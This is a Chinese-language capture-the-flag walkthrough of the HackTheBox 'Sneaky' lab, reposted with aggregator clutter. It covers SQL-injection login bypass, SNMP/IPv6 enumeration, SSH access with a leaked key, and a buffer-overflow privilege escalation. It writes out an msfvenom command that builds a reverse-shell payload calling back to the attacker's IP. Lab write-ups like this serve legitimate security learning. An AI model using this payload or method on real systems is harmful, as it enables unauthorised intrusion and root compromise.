No.101-HackTheBox-Linux-Sneaky-Walkthrough渗透学习

2024-02-16 11:40

本文主要是介绍No.101-HackTheBox-Linux-Sneaky-Walkthrough渗透学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

**

HackTheBox-Linux-Sneaky-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/19
靶机难度:中级(5.0/10)
靶机发布日期:2017年10月29日
靶机描述:
Sneaky, while not requiring many steps to complete, can be difficult for some users. It explores enumeration through SNMP and has a beginner level buffer overflow vulnerability which can be leveraged for privilege escalation.

作者:大余
时间:2020-05-16

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.20…
在这里插入图片描述
在这里插入图片描述
Nmap扫描仅发现开放了Apache和SNMP两个服务…
在这里插入图片描述
80端口上没什么可用的信息…直接枚举爆破看看…
在这里插入图片描述
枚举发现了dev目录…
在这里插入图片描述
dev目录提供了此页面…通过利用burpsuit拦截尝试sql注入枚举爆破…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可看到通过尝试通用的sql注入代码…成功登录…
在这里插入图片描述
登录后获得了两个用户名信息:admin和thrasivoulos
以及rsa 的key,这里很熟悉吧…就在前面两三章就做了两次一模一样的环境…
思路就是利用rsa的key通过ssh服务访问到用户…从而在用户提权root…但是nmap只发现开放了http和snmp服务…未开放ssh服务??
这里熟悉的小伙伴就知道,snmp关联着ipv6信息…可以参考:https://www.jianshu.com/p/dc2dc0222940
在这里插入图片描述
将key保存到本地…
在这里插入图片描述
利用snmpwalk命令来和snmp主机进行交换数据…
可以看到存在可用的IPv6接口信息…需要获得靶机的ipv6信息…
在这里插入图片描述
在这里插入图片描述
可以看到Enyx专门用来获取ipv6的信息工具…利用即可…
在这里插入图片描述
通过利用enyx获取了所有接口的ipv6信息…
在这里插入图片描述
检查发现…nmap扫描IPv6信息对方是开启了ssh的…那这就直接登录即可…
在这里插入图片描述
直接利用前面获取的信息量…成功登录了,并获得了user信息…(这里就不多说了,连续靶机都是类似环境)
在这里插入图片描述
直接通过LinEnum.sh枚举所有信息量…
在这里插入图片描述
在查看到SUID位时,resrwsr的chal程序存在异常…应该是缓冲区溢出提权了…(这里环境和前面一台靶机差不多…雷同,那台也是ssh登录后缓冲区溢出提权…那台是可以直接利用/bin/sh写入程序直接获得root…)
在这里插入图片描述
下载到本地分析…
在这里插入图片描述
这里直接快速了…做了太多缓冲区溢出了…获得了偏移量362…
在这里插入图片描述
命令:msfvenom -a x86 --platform -linux -p linux/x86/shell_reverse_tcp LHOST=10.10.14.51 LPORT=6666 -e x86/alpha_mixed -f python
这里我利用了msf生成的shell…也可以利用原生的shell简单…很多shell自行google
在这里插入图片描述
在这里插入图片描述
知道偏移量,在获取EIP即可提权…这里我编写的简单shell脚本nop是x90,直接对程序x/100x $esp-200发现了很多可以利用的EIP,这里的都可以利用…直接写入…

在这里插入图片描述
这里我利用了788的EIP,别的也试过也成功…或者不需要NOP的情况直接google /bin/sh源直接利用原生EIP提权也行…
成功注入shell提权root,获得了root.txt信息…

由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

这篇关于No.101-HackTheBox-Linux-Sneaky-Walkthrough渗透学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/qq_34801745/article/details/106150326
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/714429

相关文章

在Linux中改变echo输出颜色的实现方法

《在Linux中改变echo输出颜色的实现方法》在Linux系统的命令行环境下,为了使输出信息更加清晰、突出,便于用户快速识别和区分不同类型的信息,常常需要改变echo命令的输出颜色,所以本文给大家介... 目python录在linux中改变echo输出颜色的方法技术背景实现步骤使用ANSI转义码使用tpu

linux hostname设置全过程

《linuxhostname设置全过程》:本文主要介绍linuxhostname设置全过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录查询hostname设置步骤其它相关点hostid/etc/hostsEDChina编程A工具license破解注意事项总结以RHE

Linux中压缩、网络传输与系统监控工具的使用完整指南

《Linux中压缩、网络传输与系统监控工具的使用完整指南》在Linux系统管理中,压缩与传输工具是数据备份和远程协作的桥梁,而系统监控工具则是保障服务器稳定运行的眼睛,下面小编就来和大家详细介绍一下它... 目录引言一、压缩与解压:数据存储与传输的优化核心1. zip/unzip:通用压缩格式的便捷操作2.

Linux中SSH服务配置的全面指南

《Linux中SSH服务配置的全面指南》作为网络安全工程师,SSH(SecureShell)服务的安全配置是我们日常工作中不可忽视的重要环节,本文将从基础配置到高级安全加固,全面解析SSH服务的各项参... 目录概述基础配置详解端口与监听设置主机密钥配置认证机制强化禁用密码认证禁止root直接登录实现双因素

在Linux终端中统计非二进制文件行数的实现方法

《在Linux终端中统计非二进制文件行数的实现方法》在Linux系统中,有时需要统计非二进制文件(如CSV、TXT文件)的行数,而不希望手动打开文件进行查看,例如,在处理大型日志文件、数据文件时,了解... 目录在linux终端中统计非二进制文件的行数技术背景实现步骤1. 使用wc命令2. 使用grep命令

Linux如何快速检查服务器的硬件配置和性能指标

《Linux如何快速检查服务器的硬件配置和性能指标》在运维和开发工作中,我们经常需要快速检查Linux服务器的硬件配置和性能指标,本文将以CentOS为例,介绍如何通过命令行快速获取这些关键信息,... 目录引言一、查询CPU核心数编程(几C?)1. 使用 nproc(最简单)2. 使用 lscpu(详细信

linux重启命令有哪些? 7个实用的Linux系统重启命令汇总

《linux重启命令有哪些?7个实用的Linux系统重启命令汇总》Linux系统提供了多种重启命令,常用的包括shutdown-r、reboot、init6等,不同命令适用于不同场景,本文将详细... 在管理和维护 linux 服务器时,完成系统更新、故障排查或日常维护后,重启系统往往是必不可少的步骤。本文

基于Linux的ffmpeg python的关键帧抽取

《基于Linux的ffmpegpython的关键帧抽取》本文主要介绍了基于Linux的ffmpegpython的关键帧抽取,实现以按帧或时间间隔抽取关键帧,文中通过示例代码介绍的非常详细,对大家的学... 目录1.FFmpeg的环境配置1) 创建一个虚拟环境envjavascript2) ffmpeg-py

Linux脚本(shell)的使用方式

《Linux脚本(shell)的使用方式》:本文主要介绍Linux脚本(shell)的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录概述语法详解数学运算表达式Shell变量变量分类环境变量Shell内部变量自定义变量:定义、赋值自定义变量:引用、修改、删

Linux链表操作方式

《Linux链表操作方式》:本文主要介绍Linux链表操作方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、链表基础概念与内核链表优势二、内核链表结构与宏解析三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势六、典型应用场景七、调试技巧与